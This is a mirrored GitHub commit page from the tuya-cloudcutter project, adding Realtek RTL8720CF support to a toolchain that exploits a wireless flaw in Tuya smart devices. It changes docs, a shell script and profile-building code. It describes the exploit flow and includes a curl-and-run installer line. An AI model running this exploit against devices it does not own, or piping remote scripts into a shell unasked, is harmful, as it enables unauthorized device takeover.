mirror of
https://github.com/tuya-cloudcutter/tuya-cloudcutter.git
synced 2026-02-19 21:51:18 +01:00
Add RTL8720CF support (#857)
* Initial RTL8720CF support * Fix RTL8720CF_OTA file validation. * be a bit more robust on chip string matching * Really rough refactor of haxomatic for RTL8720CF, not complete. * Update RTL8720CF 2.3.0 haxomatic hex match strings * Remove length validation from authkey/uuid so it can work with both Tuya and CloudCutter generated keys. * Fix bk7231 string detection Add second RTL8720CF 2.3.0 profile * Refactor haxomatic to be more modular and maintainable. * haxomatic - minor cleanup * profile-building - Pull PSK when pulling schema. * Haxomatic - Search all binaries for patch patterns. Update known RTL8720CF match pattern identifiers. * Change network to custom 10.204.0.1/24 network (204 = 0xCC) Send multiple DNS servers, which may help devices that hang after DHCP Spend less time sending wifi connect requests so AP can start listening sooner. * Update exploit for new offsets. * Haxomatic - Add 1.0.x SDK * Update haxomatic for newer found patterns. * Minor tweaks * Updates to profile-building * Add storage parsing to extract_rtl8720cf * Switch to bk7231tools to extract rtl8720cf storage to remove an unneeded dependency. * remove debug code * Add special case for sdk identification for single build missing standard string. * Find swv before device_class, as we may want to search directly after it. * Update comments, seek entire bin for storage. * Add missing new address in profile. Add ability to process inactive OTA app. * Update documentation. * fix typo. * Fix a type in beken extract. * Add haxomatic pattern for oddball BK7231N 2.3.1 SDK. * Haxomatic - Add RTL8720CF 2.3.1 SDK pattern. * Fix copy/paste typo * profile-building - proceess_app - add more device class match strings. * one more * profile-building - better log SDK data * Add a special thanks section. * fix typo * Clean up documentation. * documentation - use numbered lists. * process_app - add another device class identifier.
This commit is contained in:
@@ -10,32 +10,34 @@ Use these instruction if:
|
||||
Steps:
|
||||
|
||||
1. Use Raspberry Pi Imager to burn "Raspberry Pi OS Lite (32 Bit)" to an SD card
|
||||
- As of this note, 2022-04-04 build of Bullseye
|
||||
- A 4GB SD card is required to have enough space for the OS and building the Docker image.
|
||||
- If using SSH, enable it (using the installer or making an empty file `ssh` on the boot partition)
|
||||
- As of this note, 2022-04-04 build of Bullseye
|
||||
- A 4GB SD card is required to have enough space for the OS and building the Docker image.
|
||||
- If using SSH, enable it (using the installer or making an empty file `ssh` on the boot partition)
|
||||
2. Access the pi (SSH or keyboard + monitor)
|
||||
3. Install Network Manager (only reboot once all files are in place)
|
||||
- `sudo apt update && sudo apt install network-manager`
|
||||
- `sudo nano /etc/dhcpcd.conf` then add line `denyinterfaces wlan0`
|
||||
- `sudo nano /etc/NetworkManager/NetworkManager.conf` and make it look exactly like
|
||||
```
|
||||
[main]
|
||||
plugins=ifupdown,keyfile
|
||||
dhcp=internal
|
||||
- `sudo apt update && sudo apt install network-manager`
|
||||
- `sudo nano /etc/dhcpcd.conf` then add line `denyinterfaces wlan0`
|
||||
- `sudo nano /etc/NetworkManager/NetworkManager.conf` and make it look exactly like
|
||||
|
||||
```text
|
||||
[main]
|
||||
plugins=ifupdown,keyfile
|
||||
dhcp=internal
|
||||
|
||||
[ifupdown]
|
||||
managed=true
|
||||
```
|
||||
|
||||
[ifupdown]
|
||||
managed=true
|
||||
```
|
||||
4. Reboot the pi `sudo reboot` then reaccess.
|
||||
5. Make sure network manager is enabled and running:
|
||||
- `sudo systemctl enable NetworkManager.service`
|
||||
- `sudo systemctl start NetworkManager.service`
|
||||
7. Install Docker with `curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh`
|
||||
8. Install git `sudo apt install git`
|
||||
9. Clone tuya-cloudcutter repo `git clone https://github.com/tuya-cloudcutter/tuya-cloudcutter`
|
||||
10. Go to cloned tuya-cloudcutter repo `cd tuya-cloudcutter`
|
||||
11. (Optional as independent step) In the cloudcutter directory, build the docker image `sudo docker build --network=host -t cloudcutter .`
|
||||
12. Run cloudcutter with `sudo ./tuya-cloudcutter.sh -r ...` (refer to [usage instructions](./INSTRUCTIONS.md))
|
||||
- `sudo systemctl enable NetworkManager.service`
|
||||
- `sudo systemctl start NetworkManager.service`
|
||||
6. Install Docker with `curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh`
|
||||
7. Install git `sudo apt install git`
|
||||
8. Clone tuya-cloudcutter repo `git clone https://github.com/tuya-cloudcutter/tuya-cloudcutter`
|
||||
9. Go to cloned tuya-cloudcutter repo `cd tuya-cloudcutter`
|
||||
10. (Optional as independent step) In the cloudcutter directory, build the docker image `sudo docker build --network=host -t cloudcutter .`
|
||||
11. Run CloudCutter with `sudo ./tuya-cloudcutter.sh -r ...` (refer to [usage instructions](./INSTRUCTIONS.md))
|
||||
|
||||
## Pi Zero 2W with SSH over USB
|
||||
|
||||
@@ -46,38 +48,40 @@ Use these instructions if:
|
||||
Steps:
|
||||
|
||||
1. Use Raspberry Pi Imager to burn "Raspberry Pi OS Lite (32 Bit)" to an SD card
|
||||
- As of this note, 2022-04-04 build of Bullseye
|
||||
- A 4GB SD card is required to have enough space for the OS and building the Docker image.
|
||||
- Set a hostname like `piusb` (something you'll remember)
|
||||
- Enable SSH (using the installer or making an empty file `ssh` on the boot partition)
|
||||
- As of this note, 2022-04-04 build of Bullseye
|
||||
- A 4GB SD card is required to have enough space for the OS and building the Docker image.
|
||||
- Set a hostname like `piusb` (something you'll remember)
|
||||
- Enable SSH (using the installer or making an empty file `ssh` on the boot partition)
|
||||
2. Edit `config.txt` and `cmdline.txt` on the boot partition to enable USB SSG (Gadget Mode)
|
||||
- Add `dtoverlay=dwc2` to the very end of `config.txt`
|
||||
- Add `modules-load=dwc2,g_ether` in `cmdline.txt` after `rootwait` before anything else.
|
||||
- Ref: https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget/ethernet-gadget
|
||||
- Ref: https://desertbot.io/blog/headless-pi-zero-ssh-access-over-usb-windows
|
||||
- Add `dtoverlay=dwc2` to the very end of `config.txt`
|
||||
- Add `modules-load=dwc2,g_ether` in `cmdline.txt` after `rootwait` before anything else.
|
||||
- Ref: https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget/ethernet-gadget
|
||||
- Ref: https://desertbot.io/blog/headless-pi-zero-ssh-access-over-usb-windows
|
||||
3. Power the Pi and connect with Micro USB cable to a computer
|
||||
- May need to get the right drivers: https://raspberrypi.stackexchange.com/questions/89400/cannot-ssh-raspberry-pi-zero-w-on-windows-via-usb
|
||||
- May need to get the right drivers: https://raspberrypi.stackexchange.com/questions/89400/cannot-ssh-raspberry-pi-zero-w-on-windows-via-usb
|
||||
4. Connect using ssh to `piusb.local` (or whatever hostname you chose)
|
||||
5. Share your computers network with the Pi
|
||||
6. Install Network Manager (only reboot once all files are in place)
|
||||
- `sudo apt update && sudo apt install network-manager`
|
||||
- `sudo nano /etc/dhcpcd.conf` then add line `denyinterfaces wlan0`
|
||||
- `sudo nano /etc/NetworkManager/NetworkManager.conf` and make it look exactly like
|
||||
```
|
||||
[main]
|
||||
plugins=ifupdown,keyfile
|
||||
dhcp=internal
|
||||
- `sudo apt update && sudo apt install network-manager`
|
||||
- `sudo nano /etc/dhcpcd.conf` then add line `denyinterfaces wlan0`
|
||||
- `sudo nano /etc/NetworkManager/NetworkManager.conf` and make it look exactly like
|
||||
|
||||
[ifupdown]
|
||||
managed=true
|
||||
```text
|
||||
[main]
|
||||
plugins=ifupdown,keyfile
|
||||
dhcp=internal
|
||||
|
||||
[ifupdown]
|
||||
managed=true
|
||||
|
||||
[keyfile]
|
||||
unmanaged-devices=interface-name:usb*
|
||||
```
|
||||
|
||||
[keyfile]
|
||||
unmanaged-devices=interface-name:usb*
|
||||
```
|
||||
7. Reboot the Pi `sudo reboot` then reconnect over ssh
|
||||
8. Install Docker with `curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh`
|
||||
9. Install git `sudo apt install git`
|
||||
10. Clone tuya-cloudcutter repo `git clone https://github.com/tuya-cloudcutter/tuya-cloudcutter`
|
||||
11. Go to cloned tuya-cloudcutter repo `cd tuya-cloudcutter`
|
||||
12. (Optional as independent step) In the cloudcutter directory, build the docker image `sudo docker build --network=host -t cloudcutter .`
|
||||
13. Run cloudcutter with `sudo ./tuya-cloudcutter.sh -r ...` (refer to [usage instructions](./INSTRUCTIONS.md))
|
||||
13. Run CloudCutter with `sudo ./tuya-cloudcutter.sh -r ...` (refer to [usage instructions](./INSTRUCTIONS.md))
|
||||
|
||||
@@ -1,13 +1,18 @@
|
||||
# Instructions
|
||||
|
||||
## Disabling cloud connection & running locally
|
||||
Here we describe how to use tuya-cloudcutter to jailbreak Tuya IoT devices by replacing their security keys. This prevents them from communicating with Tuya cloud servers, and allows you to control them via your local network instead.
|
||||
|
||||
Here we describe how to use Tuya CloudCutter to jailbreak Tuya IoT devices by replacing their security keys. This prevents them from communicating with Tuya cloud servers, and allows you to control them via your local network instead.
|
||||
|
||||
### 🚨 ⚠️ WARNING⚠️ 🚨
|
||||
**Using cloudcutter means that you will NO LONGER be able to use Tuya's apps and servers. Be absolutely sure that you are never going to use them again!**
|
||||
|
||||
**Using Tuya CloudCutter means that you will NO LONGER be able to use Tuya's apps and servers. Be absolutely sure that you are never going to use them again!**
|
||||
|
||||
### Prerequisites
|
||||
* A laptop or computer with a WiFi adapter
|
||||
* Running (non-virtualized) Ubuntu (other distros with NetworkManager might also work, untested. VMs might work if you passthrough WiFi adapter.)
|
||||
* Docker should be installed, and your user should be part of the "docker" group (reboot if you've just installed Docker, to reload the user groups.)
|
||||
|
||||
- A laptop or computer with a WiFi adapter
|
||||
- Running (non-virtualized) Ubuntu (other distributions with NetworkManager might also work, untested. VMs might work if you passthrough WiFi adapter.)
|
||||
- Docker should be installed, and your user should be part of the "docker" group (reboot if you've just installed Docker, to reload the user groups.)
|
||||
|
||||
**Note**: the script mentioned below can also be run in interactive mode, i.e. without any parameters, in which the user will be asked to choose one of available options.
|
||||
|
||||
@@ -16,46 +21,50 @@ Here we describe how to use tuya-cloudcutter to jailbreak Tuya IoT devices by re
|
||||
Find the device you have in the [list of available devices](https://github.com/tuya-cloudcutter/tuya-cloudcutter.github.io/tree/master/devices). Note the device name, i.e. a lowercase, alphanumeric string like `avatar-asl04-tv-backlight` (without the .json extension).
|
||||
|
||||
If you don't know the exact device model, or your device does not have any available profile, you can choose the device by firmware version:
|
||||
- open the Tuya Smart/SmartLife app
|
||||
- click on the device (even if it's offline)
|
||||
- press the "edit" pencil (top-right corner)
|
||||
- choose "Device Update"
|
||||
- note the "Main Module" version number
|
||||
|
||||
1. open the Tuya Smart/SmartLife app
|
||||
2. click on the device (even if it's offline)
|
||||
3. press the "edit" pencil (top-right corner)
|
||||
4. choose "Device Update"
|
||||
5. note the "Main Module" version number
|
||||
|
||||
Knowing this, you can run `sudo ./tuya-cloudcutter.sh` without any parameters. Then, use the `By firmware version and name` option and choose the version you found.
|
||||
|
||||
### Running the toolchain
|
||||
* Download or git clone this repository
|
||||
* Open a terminal and `cd` into the repository to make it your working directory
|
||||
* Run `sudo ./tuya-cloudcutter.sh -s <SSID> <SSID password>`, where SSID/password is the name of the access point you want the Tuya device to join.
|
||||
* You can specify the device profile name using `-p my-device-name`; otherwise an interactive menu will be shown.
|
||||
* **If your SSID and/or password have special characters like $ ! or @, make sure to pass them with ' characters, e.g. 'P@$$W0rD!'. If it has the ' character then also make sure to escape that, with bash that'd be `'P@$$W0rD!'"'"' 1234'` to use the password `P@$$W0rD!' 1234`** **Optionally run with parameter -r to reset NetworkManager connections, which may help with some wifi adaptors ( sudo ./tuya-cloudcutter.sh -r -s <SSID> <SSID password> )**
|
||||
* If you wish to set a custom deviceid or localkey, prepend these parameters like so: `sudo ./tuya-cloudcutter.sh -d 20characterdeviceid -l 16characterlocalkey -s <SSID> <SSID password>`, Note, localtuya in homeassistant currently requires unique deviceid to work.
|
||||
* When instructed, put your Tuya device in _AP Mode_. This can usually be accomplished by either:
|
||||
* Toggling it off and on again 6 times, with around 1 second in between each toggle. If it's a light bulb, it will blink _slowly_. If it blinks _quickly_, power cycle it 3 more times.
|
||||
* Long pressing the power/reset button on the device until it starts fast-blinking, then releasing, and then holding the power/reset button again until the device starts slow-blinking.
|
||||
* The script will automatically connect to your light (assuming it creates a "SmartLife-*" SSID. If not, let us know.) and run the exploit that replaces the security keys (now it can't connect to the cloud anymore)
|
||||
* The exploit freezes the light. It will reboot back into AP mode if left alone, and you can speed this up by power cycling it yourself one time
|
||||
* The script will start up an access point of its own called "cloudcutterflash", using your WiFi adapter
|
||||
* Turn the device off and on again once. It will enter AP mode again. If it doesn't, power cycle it 6 times to enter AP mode. The script will now make the device connect to our "cloudcutterflash" AP.
|
||||
* Once the device connects (can take up to a minute), the script will set up your device's local access keys, and configure it to join the SSID you passed as an argument to the script
|
||||
* You should see the activation requests show up in the terminal as cloudcutter configures the device
|
||||
* **Note:** If you don't see anything show up for longer than 2 minutes, power cycle the device to enter AP mode again and use one of the "SmartLife" compatible apps to instruct the device to connnect to the "cloudcutterflash" AP. The password for that AP is "abcdabcd" (without the " characters).
|
||||
* Your Tuya device should now be completely cut off from the cloud, and be locally controllable on your network using e.g. `tinytuya`
|
||||
* The randomly generated keys you need to connect to your device can be found in the `configured-devices` folder
|
||||
* Enjoy!
|
||||
|
||||
1. Download or git clone this repository
|
||||
2. Open a terminal and `cd` into the repository to make it your working directory
|
||||
3. Run `sudo ./tuya-cloudcutter.sh -s <SSID> <SSID password>`, where SSID/password is the name of the access point you want the Tuya device to join.
|
||||
|
||||
- You can specify the device profile name using `-p my-device-name`; otherwise an interactive menu will be shown.
|
||||
- **If your SSID and/or password have special characters like $ ! or @, make sure to pass them with ' characters, e.g. 'P@$$W0rD!'. If it has the ' character then also make sure to escape that, with bash that'd be `'P@$$W0rD!'"'"' 1234'` to use the password `P@$$W0rD!' 1234`** **Optionally run with parameter -r to reset NetworkManager connections, which may help with some wifi adaptors ( sudo ./tuya-cloudcutter.sh -r -s <SSID> <SSID password> )**
|
||||
- If you wish to set a custom deviceid or localkey, prepend these parameters like so: `sudo ./tuya-cloudcutter.sh -d 20characterdeviceid -l 16characterlocalkey -s <SSID> <SSID password>`, Note, localtuya in homeassistant currently requires unique deviceid to work.
|
||||
|
||||
4. When instructed, put your Tuya device in _AP Mode_. This can usually be accomplished by either:
|
||||
|
||||
- Toggling it off and on again 6 times, with around 1 second in between each toggle. If it's a light bulb, it will blink _slowly_. If it blinks _quickly_, power cycle it 3 more times.
|
||||
- Long pressing the power/reset button on the device until it starts fast-blinking, then releasing, and then holding the power/reset button again until the device starts slow-blinking.
|
||||
|
||||
5. The script will automatically connect to your light (assuming it creates a "SmartLife-*" SSID. If not, let us know.) and run the exploit that replaces the security keys (now it can't connect to the cloud anymore)
|
||||
6. The exploit freezes the light. It will reboot back into AP mode if left alone, and you can speed this up by power cycling it yourself one time
|
||||
7. The script will start up an access point of its own called "cloudcutterflash", using your WiFi adapter
|
||||
8. Turn the device off and on again once. It will enter AP mode again. If it doesn't, power cycle it 6 times to enter AP mode. The script will now make the device connect to our "cloudcutterflash" AP.
|
||||
9. Once the device connects (can take up to a minute), the script will set up your device's local access keys, and configure it to join the SSID you passed as an argument to the script
|
||||
10. You should see the activation requests show up in the terminal as cloudcutter configures the device
|
||||
11. **Note:** If you don't see anything show up for longer than 2 minutes, power cycle the device to enter AP mode again and use one of the "SmartLife" compatible apps to instruct the device to connect to the "cloudcutterflash" AP. The password for that AP is "abcdabcd" (without the " characters).
|
||||
12. Your Tuya device should now be completely cut off from the cloud, and be locally controllable on your network using e.g. `tinytuya`
|
||||
13. The randomly generated keys you need to connect to your device can be found in the `configured-devices` folder
|
||||
14. Enjoy!
|
||||
|
||||
-------
|
||||
|
||||
|
||||
## Flashing custom firmware
|
||||
* Copy your new firmware .bin file (UG or UF2 files only!) to ./custom-firmware
|
||||
* Find your device name, as instructed in the steps above.
|
||||
* Run `sudo ./tuya-cloudcutter.sh`. You can specify device profile name and firmware file using `-p` and `-f`, respectively (this is optional). Example: `sudo ./tuya-cloudcutter.sh -p avatar-asl04-tv-backlight -f custom_firmware_file.bin`
|
||||
* Follow the instructions from the script to turn off/on your device 6 times during 2 steps (similar to the steps above)
|
||||
* If all goes well, your device is now running your custom firmware, enjoy!
|
||||
|
||||
1. Copy your new firmware .bin file (UG or UF2 files only!) to ./custom-firmware
|
||||
2. Find your device name, as instructed in the steps above.
|
||||
3. Run `sudo ./tuya-cloudcutter.sh`. You can specify device profile name and firmware file using `-p` and `-f`, respectively (this is optional). Example: `sudo ./tuya-cloudcutter.sh -p avatar-asl04-tv-backlight -f custom_firmware_file.bin`
|
||||
4. Follow the instructions from the script to turn off/on your device 6 times during 2 steps (similar to the steps above)
|
||||
5. If all goes well, your device is now running your custom firmware, enjoy!
|
||||
|
||||
### Custom firmware options
|
||||
|
||||
|
||||
60
README.md
60
README.md
@@ -1,57 +1,74 @@
|
||||
# Tuya Cloudcutter
|
||||
|
||||
This repository contains the toolchain to exploit a wireless vulnerability that can jailbreak some of the latest smart devices built with the bk7231 chipset under various brand names by Tuya. The vulnerability as well as the exploitation tooling were identified and created by [Khaled Nassar](https://twitter.com/kmhnassar) and [Tom Clement](https://twitter.com/Tom_Clement) with support from [Jilles Groenendijk](https://twitter.com/jilles_com).
|
||||
This repository contains the toolchain to exploit a wireless vulnerability that can jailbreak some of the latest smart devices built with the Beken BK7231 (BK7231T,BK7231N) or Realtek RTL8720CF chipsets under various brand names by Tuya. The vulnerability as well as the exploitation tooling were identified and created by [Khaled Nassar](https://rb9.nl/) and [Tom Clement](https://github.com/tjclement) with support from [Jilles Groenendijk](https://jilles.com/).
|
||||
|
||||
Our tool disconnects Tuya devices from the cloud, allowing them to run completely locally. Additionally, it can be used to flash custom firmware to devices over-the-air.
|
||||
|
||||
ℹ️ Do you like this tool? Please consider giving it a star on Github so it reaches more people. ✨
|
||||
|
||||
## ⚠️ WARNING⚠️
|
||||
**Using cloudcutter means that you will NO LONGER be able to use Tuya's apps and servers. Be absolutely sure that you are never going to use them again!**
|
||||
|
||||
Additionally, please be aware that this software is experimental and provided without any guarantees from the authors strictly for peronal and educational use. If you will still use it, then you agree that:
|
||||
**Using Tuya CloudCutter means that you will NO LONGER be able to use Tuya's apps and servers. Be absolutely sure that you are never going to use them again!**
|
||||
|
||||
Additionally, please be aware that this software is experimental and provided without any guarantees from the authors strictly for personal and educational use. If you will still use it, then you agree that:
|
||||
|
||||
1. You understand what the software is doing
|
||||
2. You choose to use it at your own risk
|
||||
3. The authors cannot be held accountable for any damages that arise
|
||||
|
||||
## How does it work?
|
||||
|
||||
If you're curious about the vulnerability and how the exploit chain works, here's the [detailed writeup](https://rb9.nl/posts/2022-03-29-light-jailbreaking-exploiting-tuya-iot-devices/) and the [proof of concept script](./proof-of-concept/poc.py).
|
||||
|
||||
## Requirements
|
||||
* A device with a stand-alone wifi adapter (but not be your primary source of networking, ethernet is preferred for that)
|
||||
* An account with sudo / elevated privlidges - An account capable of making network setting changes.
|
||||
* NetworkManager / nmcli - This is used to scan for Tuya APs, connect to them, and host a CloudCutter AP to run the exploit. If you run into issues, make sure your NetworkManager service is started. You may need to use the `-r` parameter if you continue to have issues.
|
||||
* Docker / Docker CLI package - This is used to create a controlled python environment to handle and run the exploit
|
||||
* An active internet connection (Somewhat optional) - This is used to download the packages to build the docker container and to download new device profiles.
|
||||
|
||||
- A device with a stand-alone wifi adapter (but not be your primary source of networking, ethernet is preferred for that)
|
||||
- An account with sudo / elevated privileges - An account capable of making network setting changes.
|
||||
- NetworkManager / nmcli - This is used to scan for Tuya APs, connect to them, and host a CloudCutter AP to run the exploit. If you run into issues, make sure your NetworkManager service is started. You may need to use the `-r` parameter if you continue to have issues.
|
||||
- Docker / Docker CLI package - This is used to create a controlled python environment to handle and run the exploit
|
||||
- An active internet connection (Somewhat optional) - This is used to download the packages to build the docker container and to download new device profiles.
|
||||
|
||||
## Usage
|
||||
|
||||
Check out [usage instructions](./INSTRUCTIONS.md) for info about **flashing custom firmware** and local **cloud-less usage (detaching)**. There are also [some host specific instructions for setups on devices like a Raspberry Pi](./HOST_SPECIFIC_INSTRUCTIONS.md).
|
||||
|
||||
## Supported devices
|
||||
|
||||
- Unpatched Beken BK7231T (WB3S, WB3L, WB2S, etc)
|
||||
- Unpatched Beken BK7231N (CB3S, CB3L, CB2S, CBU, etc)
|
||||
- Unpatched Realtek RTL8720CF (WBR1, WBR2, WBR3, WBRU, etc)
|
||||
- Note: This platform is newer, and we may not be able to generate profiles for all devices until more samples have been collected. Please feel free to submit full dumps to [issues](https://github.com/tuya-cloudcutter/tuya-cloudcutter/issues). Additionally, even if vulnerable, some devices may not be able to be exploited if required addresses within the exploit chain contain a null byte.
|
||||
- Devices with [known secret values](running-with-known-secrets.md)
|
||||
|
||||
## FAQ
|
||||
|
||||
Please see the [FAQ](https://github.com/tuya-cloudcutter/tuya-cloudcutter/wiki/FAQ) section of the wiki for the most up-to-date questions and answers. This will cover many things like how to get your device into pairing mode, how to find more information about your device like the current firmware installed, and is expanding as new questions are asked/answered. Additionally, you may want to consider searching [issues](https://github.com/tuya-cloudcutter/tuya-cloudcutter/issues?q=is%3Aissue).
|
||||
|
||||
## Patched devices
|
||||
|
||||
Tuya has patched their SDK as of February 2022. Any device with a firmware compiled against a patched SDK will not be exploitable, but you can still apply 3rd party firmware via serial. For a list of known patched firmware/devices, see the [known patched firmware](https://github.com/tuya-cloudcutter/tuya-cloudcutter/wiki/Known-Patched-Firmware) wiki page.
|
||||
|
||||
## Contribution
|
||||
|
||||
We'd be happy to receive your contributions! One way to contribute if you already know your way around some binary exploitation or would like to get your hands into it is by building device profiles to support more exploitable devices. Check out the [detailed writeup](https://rb9.nl/posts/2022-03-29-light-jailbreaking-exploiting-tuya-iot-devices/) for the information about the vulnerability and exploit chain.
|
||||
|
||||
Additional work on expanding the [Lightleak](https://github.com/tuya-cloudcutter/lightleak) project, which can dump unexploited firmware, could use additional attention, as well as possibly expanding it to flash firmware, similiar to regular cloud-cutter as well. A port to bash/linux may also be useful.
|
||||
|
||||
### Device dumps
|
||||
|
||||
You can also contribute device dumps by [making an issue](https://github.com/tuya-cloudcutter/tuya-cloudcutter/issues) with a your device dump attached, **but be aware if your device was already onboarded on your WiFi AP**:
|
||||
|
||||
- If you don't want your SSID and/or SSID password to be out there, then it's best to dump a device that was onboarded on a dummy AP that you don't mind leaking the parameters for. Otherwise, you may also configure it on a dummy access point a few times before dumping it. This will greatly lower the chances of accidental leakage to anyone working on the building a profile from your device flash dump, **but it is never zero in this case**. As a rule of thumb, it's better to dump a fresh device which has been configured with a dummy AP, but if you still want to dump one that's in use on your home AP then know that you always run the risk of leaking your SSID and password.
|
||||
- Another option, when having a device paired to SmartLife/TuyaSmart, is to open the app, click the pencil icon in the top-right corner, choose `Remove Device` and click `Disconnect and wipe data`.
|
||||
|
||||
~~Note that a dump made on a device which has been already activated on Tuya's app using any working SSID and password would simplify profile building a lot for contributors, so if possible please try to do so.~~
|
||||
Flash dumps of devices that have never been joined to Smart Life (or disconnected with a data wipe) are now generally acceptable. In order to not potentially leak personal information, that may be the preferred way.
|
||||
|
||||
Tools to dump flash from devices:
|
||||
- [ltchiptool](https://docs.libretiny.eu/docs/flashing/tools/ltchiptool/) - universal flashing/dumping GUI tool
|
||||
- [BK7231Flasher](https://github.com/openshwprojects/BK7231GUIFlashTool) - GUI tool for firmware backup and flashing OpenBeken
|
||||
- [bk7231tools](https://github.com/tuya-cloudcutter/bk7231tools) - original toolset for dumping and analyzing Beken binaries
|
||||
- [Lightleak](https://github.com/tuya-cloudcutter/lightleak) - wireless dumping, still in development; testing is appreciated
|
||||
|
||||
- [ltchiptool](https://docs.libretiny.eu/docs/flashing/tools/ltchiptool/) - universal flashing/dumping GUI tool (Beken, RTL8720CF)
|
||||
- [BK7231Flasher](https://github.com/openshwprojects/BK7231GUIFlashTool) - GUI tool for firmware backup and flashing OpenBeken (Beken, RTL8720CF)
|
||||
- [bk7231tools](https://github.com/tuya-cloudcutter/bk7231tools) - original toolset for dumping and analyzing Beken binaries (Beken-only)
|
||||
- [Lightleak](https://github.com/tuya-cloudcutter/lightleak) - wireless dumping, still in development; testing is appreciated (Beken-only)
|
||||
|
||||
**Note:** other tools, such as hid_download_py or BkWriter, create incomplete dumps, or have data out-of-order which makes processing more difficult. Please use the tools outlined above instead.
|
||||
|
||||
@@ -62,9 +79,24 @@ Tools to dump flash from devices:
|
||||
Additionally, device profiles require a proper Datapoint ID (DPID) schema for local configuration with stock firmware. These can be pulled directly from flash on a device (config region starts at 0x1EF000 on BK7231 devices) if it has been configured to communicate with Tuya servers at least once, or through the profiler-builder scripts with the aid of an active Smart Life account. Profile builder's pull-schema.py script will walk you through the process. If you are not comfortable with this, just submit the full 2 MiB bin in an issue and a schema will be pulled and added.
|
||||
|
||||
### Testing if a device is exploitable
|
||||
If you'd like to check if a device is exploitable, one way to lower the chance of having to pry open a device that's not exploitable is testing it out with [this test script](./proof-of-concept/test_device_exploitable.py). **The downside to this test is that it won't tell you if the device is BK7231 based or not, since it seems that RTL87{1,2}0 devices are also exploitable but so far no work has been done to support them.**
|
||||
|
||||
If you'd like to check if a device is exploitable, one way to lower the chance of having to pry open a device that's not exploitable is testing it out with [this test script](./proof-of-concept/test_device_exploitable.py). **The downside to this test is that it won't tell you if the device is BK7231, RTL8720CF, or based on some other chipset.**
|
||||
|
||||
## Previous work
|
||||
|
||||
- [Smart Home - Smart Hack (35c3 talk)](https://media.ccc.de/v/35c3-9723-smart_home_-_smart_hack) by Michael Steigerwald from [VRUST](https://www.vtrust.de/).
|
||||
- [tuya-convert](https://github.com/ct-Open-Source/tuya-convert) - MQTT code for triggering firmware updates inspired by their work.
|
||||
- [tinytuya](https://github.com/jasonacox/tinytuya) - modified version of the library is used to communicate with devices after exploitation.
|
||||
|
||||
## Special Thanks
|
||||
|
||||
A big thank you to all who have provided meaningful contributions to the success of the Tuya CloudCutter project. Those include, but are not limited to
|
||||
|
||||
- [Khaled Nassar](https://rb9.nl/) - Founder, exploit researcher, original script
|
||||
- [Tom Clement](https://github.com/tjclement) - Founder, exploit researcher, original script
|
||||
- [Jilles Groenendijk](https://jilles.com/) - Support for original tooling for dumping firmware
|
||||
- [Kuba Szczodrzyński](https://github.com/kuba2k2/) - Lightleak, script improvements, additional tooling, LibreTiny/ESPHome implementation, and more.
|
||||
- [divadiow](https://github.com/divadiow) - Firmware dump collection and device support organization
|
||||
- [Jeremy Salwen](https://github.com/jeremysalwen/) - Exploit expansion to the RTL8720CF platform.
|
||||
|
||||
and many other [contributors](https://github.com/tuya-cloudcutter/tuya-cloudcutter/graphs/contributors) (and [here](https://github.com/tuya-cloudcutter/tuya-cloudcutter.github.io/graphs/contributors)) over the years!
|
||||
|
||||
@@ -53,8 +53,8 @@ if ! [ -z "${FIRMWARE}" ]; then
|
||||
echo "Selected Firmware: ${FIRMWARE}"
|
||||
fi
|
||||
|
||||
if ! [ -z "${AUTHKEY}" ] && ! [ -z "${UUID}" ] && ! [ -z "${PSKKEY}" ]; then
|
||||
echo "Using AuthKey ${AUTHKEY} , UUID ${UUID} , and PSKKey ${PSKKEY}"
|
||||
if ! [ -z "${AUTHKEY}" ] && ! [ -z "${UUID}" ]; then
|
||||
echo "Using AuthKey ${AUTHKEY} , UUID ${UUID}"
|
||||
if ! [ -z "${DEVICEID}" ] && ! [ -z "${LOCALKEY}" ]; then
|
||||
echo "Using DeviceId ${DEVICEID} and LocalKey ${LOCALKEY}"
|
||||
fi
|
||||
@@ -105,7 +105,17 @@ echo "Long press the power/reset button on the device until it starts fast-blink
|
||||
echo "See https://support.tuya.com/en/help/_detail/K9hut3w10nby8 for more information."
|
||||
echo "================================================================================"
|
||||
echo ""
|
||||
sleep 5
|
||||
|
||||
if [ "${CHIP^^}" == "RTL8720CF" ]; then
|
||||
echo "${CHIP^^} *MUST* be rebooted before we even begin the next scan or you will receive false-positives about the status of the device."
|
||||
echo ""
|
||||
read -n 1 -s -r -p "Press any key to confirm you have completed power cycling the device and continue."
|
||||
echo ""
|
||||
echo "Continuing..."
|
||||
else
|
||||
sleep 5
|
||||
fi
|
||||
|
||||
run_helper_script "pre-wifi-config"
|
||||
wifi_connect
|
||||
if [ ! $? -eq 0 ]; then
|
||||
@@ -122,8 +132,9 @@ if [[ $AP_MATCHED_NAME != A-* ]] && [ -z "${AUTHKEY}" ]; then
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Add a minor delay to stabilize after connection
|
||||
sleep 1
|
||||
echo "Device is connecting to 'cloudcutterflash' access point. Passphrase for the AP is 'abcdabcd' (without ')"
|
||||
# Add a minor delay to stabilize after connection, to make sure DHCP and such have finished
|
||||
sleep 5
|
||||
OUTPUT=$(run_in_docker pipenv run python3 -m cloudcutter configure_wifi "cloudcutterflash" "abcdabcd" "${VERBOSE_OUTPUT}")
|
||||
RESULT=$?
|
||||
echo "${OUTPUT}"
|
||||
@@ -131,4 +142,3 @@ if [ ! $RESULT -eq 0 ]; then
|
||||
echo "Oh no, something went wrong with making the device connect to our hostapd AP! Try again I guess..."
|
||||
exit 1
|
||||
fi
|
||||
echo "Device is connecting to 'cloudcutterflash' access point. Passphrase for the AP is 'abcdabcd' (without ')"
|
||||
|
||||
BIN
custom-firmware/OpenRTL87X0C_1.18.207_ota.img
Normal file
BIN
custom-firmware/OpenRTL87X0C_1.18.207_ota.img
Normal file
Binary file not shown.
1
device-profiles/schema/tuya.device.mesh.get.json
Normal file
1
device-profiles/schema/tuya.device.mesh.get.json
Normal file
@@ -0,0 +1 @@
|
||||
{"t": 1640995200, "success": false}
|
||||
@@ -1,7 +1,9 @@
|
||||
from enum import Enum
|
||||
import os.path
|
||||
import sys
|
||||
|
||||
import extract
|
||||
import extract_beken
|
||||
import extract_rtl8720cf
|
||||
import generate_profile_classic
|
||||
import haxomatic
|
||||
